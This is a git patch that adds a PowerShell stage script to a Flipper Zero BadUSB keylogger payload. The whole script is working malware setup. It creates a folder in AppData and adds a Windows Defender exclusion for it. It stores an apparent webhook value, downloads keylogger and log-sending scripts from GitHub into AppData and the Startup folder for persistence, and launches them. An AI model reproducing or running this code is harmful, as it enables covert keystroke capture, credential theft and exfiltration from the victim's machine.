From 526b040c33dfc2e8df7295edad32936a9ebe3a34 Mon Sep 17 00:00:00 2001 From: I-Am-Jakoby Date: Fri, 23 Dec 2022 12:21:45 -0600 Subject: [PATCH] Create s1.ps1 --- Payloads/Flip-Keylogger/s1.ps1 | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 Payloads/Flip-Keylogger/s1.ps1 diff --git a/Payloads/Flip-Keylogger/s1.ps1 b/Payloads/Flip-Keylogger/s1.ps1 new file mode 100644 index 0000000..67b95a6 --- /dev/null +++ b/Payloads/Flip-Keylogger/s1.ps1 @@ -0,0 +1,11 @@ +if (![System.IO.Directory]::Exists("$env:appdata\-locker")){New-Item -ItemType Directory -Force -Path "$env:appdata\-locker"} + +Add-MpPreference -ExclusionPath $env:appdata/-locker + +echo $dc > "$env:appdata\-locker\wh.txt" + +iwr https://raw.githubusercontent.com/I-Am-Jakoby/Flipper-Zero-BadUSB/main/Payloads/Flip-Keylogger/-p.cmd -o "$env:userprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\-p.cmd" +iwr https://raw.githubusercontent.com/I-Am-Jakoby/Flipper-Zero-BadUSB/main/Payloads/Flip-Keylogger/-keys.ps1 -o "$env:appdata\-locker\-keys.ps1" +iwr https://raw.githubusercontent.com/I-Am-Jakoby/Flipper-Zero-BadUSB/main/Payloads/Flip-Keylogger/-logs.ps1 -o "$env:appdata\-locker\-logs.ps1" + +start-process "$env:userprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\-p.cmd"